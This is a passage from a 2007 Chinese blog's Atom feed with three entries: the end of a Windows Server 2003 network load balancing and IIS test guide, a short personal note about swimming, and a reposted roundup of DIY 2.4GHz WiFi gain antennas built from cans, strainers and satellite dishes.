①先进入第一台计算机，以管理员身份登录，从“管理工具”中运行“网络负载平衡管理器”，用鼠标右键单击“网络负载平衡群集”，从出现的菜单中选择“新建群集”，进入“群集参数”界面（图1）。<BR><BR>图1<BR>　　在“IP地址”后面输入规划的群集参数地址202.206.197.195，在子网掩码处使用默认值，在“完整Internet名称”后面输入cluster.heinfo.edu.cn（也可以是其他的名称，但输入的DNS名称必须与输入的IP地址相符）。<BR>　　如果允许远程控制，请选中“允许远程控制”，并在“远程密码”和“确认密码”处输入可以进行远程控制的密码。<BR>②点击“下一步”按钮，进入群集IP地址页面后再进入“端口规则”界面，点击“下一步”按钮，进入“连接”界面（图2）。<BR><BR>图2<BR>　　③在“连接”界面的“主机”栏中输入当前计算机的名称w2003-1，然后点击“连接”按钮，将在“对配置一个新的群集可用的接口”框中显示出连接的计算机的网卡及IP地址。选择与群集IP地址同一网段的地址（用于对外提供网络应用的网卡），然后点击“下一步”按钮，进入设置“主机参数”界面，点击“完成”按钮，系统将自动开始网络负载平衡群集的配置。几分钟后，网络负载平衡群集配置完成。<BR>　　④打开第二台计算机，并以管理员的身份登录进入。<BR>　　注意：在网络负载平衡中的每个节点上，管理员账号的用户名和密码最好一致。<BR>　　⑤然后，在第一台计算机上，用鼠标右键单击新创建的群集，从出现的菜单中选择“添加主机到群集”。将出现“连接”界面，在“主机”中输入第二台计算机的计算机名称，点击“连接”按钮，将会在“对配置群集可用的接口”下面显示出连接的计算机上的网络配置。选择202.206.197.191的网卡，进入主机参数界面，点击“完成”按钮，即可返回网络负载平衡管理器（图3）。<BR><BR>图3<BR>　　⑥关闭网络负载平衡管理器后再进入网络负载平衡管理器。用鼠标右键单击“网络负载平衡群集”，从出现的菜单中选择“连接到现存的”，将会弹出“连接”界面。<BR>　　输入第一台计算机的名称，点击“连接”按钮，在“群集”下面将列出群集的IP地址，选择此IP地址，并点击“完成”按钮，连接群集即可完成。<BR>以后，如果这两台服务器不能满足需求，可以按以上步骤添加第3台、第4台计算机到网络负载平衡中以满足要求。<BR>　三、用IIS服务验证网络负载平衡<BR>　　网络负载平衡配置好后，为了实现某项具体的服务，需要在网络负载平衡的计算机上安装相应的服务。例如：为了实现IIS网站的负载平衡，需要在相应的网络负载平衡的计算机上安装IIS服务。<BR>　　安装网络负载平衡的应用程序时，不需要特别的方法，只需要在配置好网络负载平衡的计算机上安装相应的服务即可。但是为了让每个用户在通过网络负载平衡访问到不同的计算机时，能够访问到一致的数据，需要在网络负载平衡的每台计算机上保持数据的一致性。举例来说：实现了两个节点的IIS的网络负载平衡，为了保证两个网站内容的一致性，除了这两个IIS服务器的配置相同外，相应的网站数据必须一致。<BR>　　为了检验网络负载平衡，我们可以通过IIS来进行验证，其他的一些应用如终端服务、Windows Media服务与IIS的应用相类似。<BR>　　在网络负载平衡的每一台计算机上安装IIS服务，方法如下：<BR>　　在“添加/删除程序”中，点击“添加Windows组件”，进入Windows组件向导，双击“应用程序服务器”，进入“应用程序服务器”（图4）。 <BR><BR>图4<BR>　　选中ASP.NET、Internet信息服务及应用网络COM+访问后，即可开始安装IIS服务。<BR>　　安装之后，进入第一台计算机的inetpub\wwwroot目录，新建一个文本文件，输入以下内容：<BR>　　&lt;html&gt;<BR>　　This win2003-1<BR>　　&lt;/html&gt;<BR>　　然后将它保存为default.htm文件。这个网页在IE中将显示如下内容：<BR>　　This w2003-1<BR>　　在第二台计算机的inetpub\wwwroot目录，新建一个文本文件，并输入下面的内容：<BR>　　&lt;html&gt;<BR>　　This win2003-2<BR>　　&lt;/html&gt;<BR>　　这个网页在IE浏览器中将显示“This w2003-2”，随后将这个文件以default.htm名称保存。<BR>　　然后，在其他计算机上的IE浏览器中键入http //cluster.heinfo.edu.cn，将会显示为“This win2003-1”或“This win2003-2”，根据网络的负载，网络负载平衡会自动转发到第一台计算机或第二台计算机。为了验证效果，你可以在浏览的时候，拔掉第一台计算机的网线或拔掉第二台机器的网线，将会发现浏览到的将是不同内容。当然，我们只是测试的时候，为了验证网络负载平衡的效果，两个网站的内容不一致，而在正式应用的时候，网络负载平衡群集的每个节点计算机的内容将是一致的，这样，不管使用那一个节点响应，都保证访问的内容是一致的。<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=424" /> 
	  <id>http://www.openx.cn/default.asp?id=424</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[蛙泳进步了~哈哈]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-07-09T12:57:09+08:00</updated>
	  <published>2007-07-09T12:57:09+08:00</published>
		  <summary type="html"><![CDATA[<P>记得最后一次游泳应该是04年的事情了.那时候还只能勉强游十来米就下沉了.</P>
<P>&nbsp;</P>
<P>昨天应邀跟朋友游了一回哈哈,居然发现自己的蛙泳进步了,停都没停的可以游半场,还可以拐弯的哈哈.只奇怪的是潜水不行了,潜下去游两下就浮起来了~丫丫的~</P>
<P>&nbsp;</P>
<P>不过现在蛙泳还可以一边游一边讲话聊天嘎嘎~~~~~</P>
<P>&nbsp;</P>
<P>很想对当年的体育老师说:哈哈,老师我游泳可以考满分啦~~~~~哈哈.(当年勉强及格,还好没挂科)</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=423" /> 
	  <id>http://www.openx.cn/default.asp?id=423</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[转贴-最远30公里！-DIY无线网卡天线大集合(新增大量内容）]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-07-04T08:59:16+08:00</updated>
	  <published>2007-07-04T08:59:16+08:00</published>
		  <summary type="html"><![CDATA[<FONT size=4>&nbsp;&nbsp; <SPAN style="COLOR: royalblue">以下是我花了很大力气从多处收集来的DIY 2.4G WIFI 天线的方案，集中在这里，供网友学习，制作。我在本论坛上提过很多问题，也从回帖里学到了很多的东西，以此帖向各位网友表示感谢！</SPAN><BR>&nbsp; &nbsp; 无线路由器越来越普及，引出的讨论也越来越多。特别是信号强度，接收性的问题相当值得注意。而大家最经常想到、比较可行的办法就是采用增益天线。因此，编者特收集整理相关制作天线的例子，从国内外、从低端到终极，以一种比较客观的角度，展示天线制作的技巧方法、天线的作用有多大、能达到什么样的效果。<BR><BR><SPAN style="COLOR: red">初学者型　奶粉罐天线</SPAN><BR><BR>一、选型<BR><BR>　　先上网收集天线资料，看到很多国外的天线DIYER做出来的WIFI天线真是五花八门！有螺旋天线、有八木天线、有菱形天线、有栅网天线、还有罐头天线......让人看得眼花缭乱。经过再三筛选，最终把制作目标锁定在罐头天线上。选择它为DIY对象主要是因为这种天线取材方便、效率高！十分适合初学者制作。<BR><BR>二、制作<BR><BR>　　圆筒天线之所以取材方便，是由于人人家里必定有铁罐、金属筒之类的东西。笔者就是随便拿了一个奶粉罐制作的。<BR><BR>　　下面是参照外国WIFI网站的图片而画的制作图。<BR><BR><BR>各数据如下：<BR><BR>中心频点＝2.445G<BR>圆筒直径＝127mm<BR>圆筒长度＝111mm<BR>振子长度＝31mm<BR>振子距圆筒底部边距＝37mm<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_5.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_5.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>　　从图片可以看出，馈线的屏蔽网连接金属圆筒，信号通过圆筒反射到振子上，当然振子就是馈线的芯线了，芯线与金属筒是绝缘的，这点必须注意！<BR><BR>　　在参照外国爱好者制作WIFI天线的同时，笔者加入了自己的想法：很多爱好者都喜欢在圆筒加装N座或BNC座，然后在馈线的连接处做对应的N头或BNC头，用于连接。但笔者觉得虽然该方法对使用十分方便，但同时也对信号造成了损耗（估计1－2DBI），尤其在2.4G的频段更加明显！因此，mr7决定把屏蔽网直接焊在圆筒上（焊接前先把外壳打磨光滑），而作为振子的芯线则保留其原来的泡沫绝缘。这样一来把损耗减到最低。有点专线专用的味道了！<BR><BR>　　建议大家最好在焊接前找根直径稍比馈线粗一点的小铜管和热缩套管，先把铜管套在馈线上，然后跟屏蔽网一起焊牢在金属圆筒的外壳上，然后用热风筒把热缩套管来回吹多次，把馈线固定在铜管上，这样一来可以很好的减低由于调节天线时给馈线和振子带来的影响！<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_4.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_4.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_1.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_1.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>　　馈线笔者是选用双屏蔽的RG-58电缆，接头是SMA母头，用于接在WIFI的AP上面。一般来说馈线直径越粗越好，而且长度要尽量短，不然馈线过长所造成的损耗比天线增益还大，失去DIY的意义！笔者使用的馈线直径由于比较小，所以长度取在1米这个数值。良好的馈线是制作天线的关键，2.4G频段的信号在线材中的损耗和泄漏比400Mhz的大很多，所以馈线必须用屏蔽网加铝薄双屏蔽，而且芯线要尽量粗。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_6.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_6.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>三、测试<BR><BR>　　开始的时候，我浏览外国爱好者们讨论WIFI 天线增益如何如何的高，改善情况如何如何的好，总觉得有点吹嘘的感觉。但当实际测试时发现使用效果真的发生了天大的变化!<BR><BR>　　在这次测试中，我使用的设备是D-LINK的DWL-G810（800AP）五合一AP，该AP可以通过软件刷机同时拥有AP、网桥、中继等功能，发射功率是32mW。<BR><BR>　　测试地点时家里阳台，在防盗网内（没办法，金属圆筒直径粗了点，伸不出防盗网外）。按照经验，一般WIFI设备放在防盗网内使用的效果时十分差的，因此mr7也没抱多大希望。在使用原配天线时，mr7用AP搜索到3－4个外界信号（正常现象），当换上自制的WIFI圆筒天线后惊奇地发现居然可以收到7－8个外界信号，接收数目是更换天线前多出100％左右，真是出乎意料之外！不禁暗暗为自己制作的天线叫好。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_3.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_3.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_2.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_2.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>小结：<BR><BR>1、该天线的确适合初学者业余制作，大家不要被未尝试过的制作而难倒，要相信自己相信科学。笔者也是新手，之前也没抱多少希望制作天线的，当果断迈出第一步之后，你会尝试到实践带来的无穷乐趣和知识！<BR><BR>2、多与身旁的同好们交流心得，听取各方意见，边做边学，这样会少走弯路。<BR><BR>3、制作天线时的尺寸和用料是成功的关键，要把握好尺寸的精确度，材料要选质量过关的。在这次制作中我每次裁剪时都要反复量度尺寸，精确度起码是mm级。材料方面，我用的是厚底的铁罐，而馈线则是进口的双屏蔽电缆。<BR><BR>4、由于附近比较多写字楼，自然用无线网络的公司也比较多，同时楼宇之间距离比较宽，所以在家中的阳台可以收到这么多网络的信号，这一点再次验证了<SPAN style="COLOR: red">“好机不如好天线，好天线不如好传播！”</SPAN>这个经验。<BR><BR>5、根据玩家提供的数据，该WIFI圆筒天线的增益在12DBI左右。假如改进一下，在天线外口加一个喇叭状的金属圆环，该天线还可以增加3DBI的增益，大家不妨试试！<BR><BR>　　同时说明一下该天线不适合担当无线中继功能的AP用，建议做无线中继时最好使用高增益的同轴全向天线。<BR><BR><SPAN style="COLOR: red">楼主提示：需要说明的是，微波天线的制作精度相当高，起码要达到毫米级，否则很容易导致天线不可用，由于每个人得到的圆筒不同，这里有一个圆筒天线的通用计算器，可以精确的计算各参数，从而使这款天正在制作上达到实用化！</SPAN><BR></FONT><A href="http://www.saunalahti.fi/elepal/antenna2calc.php" target=_blank><FONT color=#000000 size=4>http://www.saunalahti.fi/elepal/antenna2calc.php</FONT></A><BR><FONT size=4>另外，在桶型天线的外围加一个喇叭口，能使增益增加3db。具体见下面的“镀锌铁皮桶天线”<BR><BR><SPAN style="COLOR: red">加强改进型　漏勺天线</SPAN><BR><BR>　　如果无线路由器或无线AP不适合加装增益天线，那么我们该如何增加无线信号的传输距离和效率呢?显然，只有给无线网卡增加增益天线了。下面笔者以USB无线网卡为基础元件，介绍一下如何制作无线网卡增益天线。<BR><BR>一、寻找材料<BR><BR>　　首先寻找有规则抛物面的金属器具，那么你会想到什么呢?很快你就会想到家里的铁锅，但是铁锅质量较重且不适合固定和安装，也不美观。好在，我们的祖先在千年以前就为我们发明了制作增益天线的好物件“漏勺”(图3)，是不是有点疑问?马上你就知道它除了可以用来捞饺子和面条，还能用来制作增益天线。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_2_1.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_2_1.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>二、准备工具<BR><BR>　　制作过程中可能用到的工具有手锯、尖头钳子、橡胶管以及USB连接线等。手锯是用于将漏勺把锯掉或让它长短合适。尖头钳子则用于在漏勺中心为橡胶管剪一个合适的缺口(图4)。橡胶管的作用就是根据焦点的距离将USB接头固定在漏勺上;而USB连接线就是为了将无线网卡与电脑连接起来。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_1_1.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_1_1.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>当然，你还是要准备好一把尺子，如果必要也需要纸、笔和计算器，以测量和计算焦点位置。<BR><BR>三、计算焦点位置<BR><BR>　　确定了焦点位置才可以确定胶皮管的长度，才能固定胶皮管和无线网卡。<BR><BR>　　计算出焦点距离漏勺底部中心(胶皮管安放处)的长度，要注意的是要考虑USB网卡的长度，因为USB无线网卡的天线是内置的。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_4_1.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_4_1.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>&nbsp; &nbsp; 打开USB无线网卡，内置天线就位于左侧白色位置。这样只要保证USB无线网卡的底部位于焦点位置即可，如果USB无线网卡本身长度不够，则需要用胶皮管来支撑USB无线网卡。<BR>四、固定USB无线网卡<BR><BR>　　在确定焦点位置之后，就可以对USB无线网卡进行固定了。一定要注意测量好USB网卡的长度和胶皮管的长度，二者连接后的长度之和应等于计算好的焦点距离。<BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_3_1.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_3_1.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR>五、为天线制作支架<BR><BR>　　可以使用漏勺原来的竹板作为支撑，不过每次使用都需要找合适的位置固定，这种情况下就需要给天线制作一个支架，做一个三脚支架就很牢固。材料可以任意选择，只要支架材料与漏勺天线绝缘即可。例如，可以使用三只竹筷子做成一个支架，当然你也可以奢侈一点，用废旧的照相机的三脚架来做支架。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/20060607_5_1.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/20060607_5_1.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>　　经过以上五个步骤，一个超酷的USB无线网卡增益天线就制作成功了，使用USB连接线与你的电脑相连，你就可以体验自制增益天线给你带来的“快感”了。<BR>&nbsp; <SPAN style="COLOR: blue">楼主提示：以上是转贴，我觉得漏勺的反射面并不大，你可以买微波炉用的铝箔，贴在漏勺表面，反射性能会更好。</SPAN><BR>&nbsp; <SPAN style="COLOR: red">另一张漏勺天线图:</SPAN><BR>&nbsp; 这是国外同行使用中国油漏来制作的，他使用的是一个价格便宜的USB接口的无线网卡，便于连接，因为高频信号对馈线质量和工艺要求极高，使用USB口便于摆位。通过简单的焦点计算公式得出焦点位置，固定，一个提升十多点信号值的高增益定向天线就做好了，如果发射端也做一个，估计室外无阻碍通讯可达2公里左右。<BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_06821c9034c0b9f.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_06821c9034c0b9f.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR>小结：<BR>这种方法也是根据我们所介绍的制作增益天线的基本原理，将USB无线网卡的原有天线改装为效果更好的增益天线，关键也在于要选择合适的金属抛物面材料，计算好抛物面焦点，其特点是效果显著、简单、零成本，是从末端增强无线信号收发效果的最佳解决方案。<BR><BR><SPAN style="COLOR: deeppink">终极BT型　卫星接收器天线</SPAN><BR><BR>　　奶粉罐天线、漏勺天线都看过了，觉得还不够强劲？国外狂热的无线网络爱好者成功的DIY了一台无线信号发射器，并且通过旧的10英尺卫星天线建立了一个125英里范围的无线网络区域。下面我们就来详细看一下这究竟是如何实现的。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112972.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112972.jpg" onload="if(this.width>'800')this.width='800';" border=0><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112973.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112973.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>&nbsp; 工具准备好了，我们就来开始制作吧。首先将一根比较粗的铜丝通过工具折成下图的样子。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112977.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112977.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112978.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112978.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>整个天线的主题部分是一个银制的连接器，铜质天线将通过这个连接器与底板相连。<BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112979.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112979.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>天线通过连接器固定<BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112982.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112982.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>天线安装的位置<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112983.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112983.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>&nbsp; &nbsp; 天线通过银质连接器固定在底板上，需要注意的是，天线不能和底板接触，因此在安装的时候可以借助一些支撑工具，保持天线和底板的距离。<BR>&nbsp; 接下来就是天线的组装工作了，利用旧的卫星接受天线我们很容易的就装好了这台无线网络信号发射器。<BR><BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112985.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112985.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR><BR>卫星天线的高频头<BR><IMG onclick="if(this.width>=800) window.open('http://www.pconline.com.cn/network/pingce/0606/pic/000112986.jpg');" src="http://www.pconline.com.cn/network/pingce/0606/pic/000112986.jpg" onload="if(this.width>'800')this.width='800';" border=0><BR>连接天线的底座<BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_2486c31f839ed09.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_2486c31f839ed09.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><BR>天线和底座的连接<BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_2fb14da269987ff.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_2fb14da269987ff.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR>最终成品<BR>　　从上面的图片我们可以看到，当摆放在水平面上的时候，接收器的盆与水平成了大概45度的角度，而与接收器的盆平行的天线也和地面成了45度。<BR><BR>　　对于DIY的成果，我们也做了简单的测试，请看下图。<BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_2b7e5b683fe2afd.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_2b7e5b683fe2afd.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR>　　从测试软件中看，CH6的信号发涞阍赥own B，距离测试点英里；CH5的信号发射点在Town A，距离测试点2.4英里；而在CH1的两个AP桥接自Town A和距离发射点2.6英里的Town C。可以看到，自制的无线信号发射器覆盖范围还是很广的。<BR><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_6d32090ad66c887.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_6d32090ad66c887.jpg" onload="if(this.width>'800')this.width='800';" border=0> 更多AP测试<BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_057ae18b2a5e209.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_057ae18b2a5e209.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><BR>安装在车上，便于移动<BR>小结：<BR><BR>　　虽然现在DIY之风流行，不过这个变态型的无线信号发射器的制作对于一般用户稍显难了一些，并且对制作者网络和动手能力要求较高，而最后部分的的测试，更是普通用户无法完成的，同时如此大面积的无线网络覆盖在安全性方面也存在一些问题，不过这种DIY的精神还是只等推崇的，试想一下，今后在广袤的田野上使用笔记本通过无线网络聊天的情景是多么的惬意。<BR><BR>还有其它的天线：<BR><BR><SPAN style="COLOR: red">2.4G无线网卡天线馈源(设计图见下面菱形天线）</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_e4e61b39810f54c.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_e4e61b39810f54c.jpg" width=800 onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_00077e22fde8932.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_00077e22fde8932.jpg" width=800 onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_6a4a32452612606.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_6a4a32452612606.jpg" width=800 onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_1d67de5ba6daff5.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_1d67de5ba6daff5.jpg" width=800 onload="if(this.width>'800')this.width='800';" border=0> <BR><SPAN style="COLOR: red">易拉罐天线:</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_c9e99bf09cda270.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_c9e99bf09cda270.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><SPAN style="COLOR: red">铁锅天线:</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_667723211097377.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_667723211097377.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><SPAN style="COLOR: red">烤盘做的抛物面天线，增益8db</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_8b61df2d1d2b879.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_8b61df2d1d2b879.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_69ac661013b6ecd.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_69ac661013b6ecd.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><SPAN style="COLOR: red">镀锌铁皮桶天线：</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_0a0507846c5443c.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_0a0507846c5443c.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_8839cf6e23acc8b.gif');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_8839cf6e23acc8b.gif" onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_122e003de62dfaf.gif');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_122e003de62dfaf.gif" onload="if(this.width>'800')this.width='800';" border=0> <BR><BR>　 </FONT><FONT size=4><SPAN style="COLOR: coral">lg=176mm<BR>　　lo=122mm (2.45G)<BR>　　90mm&lt;D&lt;110MM<BR>　　D2&gt;170mm<BR>　　R1=D<BR>　　R2=D2<BR>　　R1/R2是半径，D/D2是直径</SPAN><BR><SPAN style="COLOR: red">铝盆天线：</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_4c6ff16044d48ed.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_4c6ff16044d48ed.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_aa33fb5a575f81d.gif');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_aa33fb5a575f81d.gif" onload="if(this.width>'800')this.width='800';" border=0> <BR><BR><SPAN style="COLOR: red">菱形天线/蚊香盘/铁皮桶盖天线设计图：</SPAN><BR><B></B><BR><IMG onclick="if(this.width>=800) window.open('http://bbs.deepin.org/attachment/Mon_0702/96_204735_95cd5bd95496279.jpg');" src="http://bbs.deepin.org/attachment/Mon_0702/96_204735_95cd5bd95496279.jpg" onload="if(this.width>'800')this.width='800';" border=0> <BR>这款天线体积小巧，然而效果非常好！<BR></FONT><SPAN style="COLOR: blue"><FONT size=4>&nbsp; 楼主提示：要说最好的定向天线，当然是成品的卫星抛物面天线了，此天线不贵，听说连天线带接收机，总共还不到300元，可以只单买一个天线使用。<BR>&nbsp; <BR>&nbsp; &nbsp; 各位网友制作天线时应注意： 微波天线精度很高，很小的尺寸误差即可使做出的天线不可用,这就是为什么网站上说此天线多么多么好，而实际做出的天线却未必好的原因，所以，要 </FONT>
<DIV style="FILTER: glow(color=red,strength=2); WIDTH: 255px">精确计算，精确施工</DIV>。</SPAN><BR><BR><BR><SPAN style="COLOR: red">全文总结：</SPAN><BR><BR>　　科技是不断不发展的，而我们DIY的精神更是永无止境。多么强大的天线，都有它鞕长莫及的距离，而人的思想却是无边界的。看了上面这些由浅到深的天线DIY案例，您觉得如何呢？欢迎大家展开热烈的讨论。<BR><BR>以下是国外的DIY天线的网站：<BR><BR><SPAN style="COLOR: orangered"><A href="http://www.saunalahti.fi/elepal/antennie.html" target=_blank><FONT color=#000000>http://www.saunalahti.fi/elepal/antennie.html</FONT></A><BR><A href="http://www.frars.org.uk/cgi-bin/render.pl?pageid=1058" target=_blank><FONT color=#000000>http://www.frars.org.uk/cgi-bin/render.pl?pageid=1058</FONT></A><BR><A href="http://martybugs.net/wireless/biquad/" target=_blank><FONT color=#000000>http://martybugs.net/wireless/biquad/</FONT></A><BR><A href="http://trevormarshall.com/waveguides.htm" target=_blank><FONT color=#000000>http://trevormarshall.com/waveguides.htm</FONT></A><BR><A href="http://seattlewireless.net/index.cgi/CardboardHorn" target=_blank><FONT color=#000000>http://seattlewireless.net/index.cgi/CardboardHorn</FONT></A></SPAN><BR><BR>本贴内容太多，又开了一个新贴：USB无线网卡的改造:<BR><A href="http://bbs.deepin.org/read.php?tid=116019&fpage=2" target=_blank><FONT color=#000000>http://bbs.deepin.org/read.php?tid=116019&fpage=2</FONT></A><BR><BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=422" /> 
	  <id>http://www.openx.cn/default.asp?id=422</id> 
  </entry>	
		
  <entry>
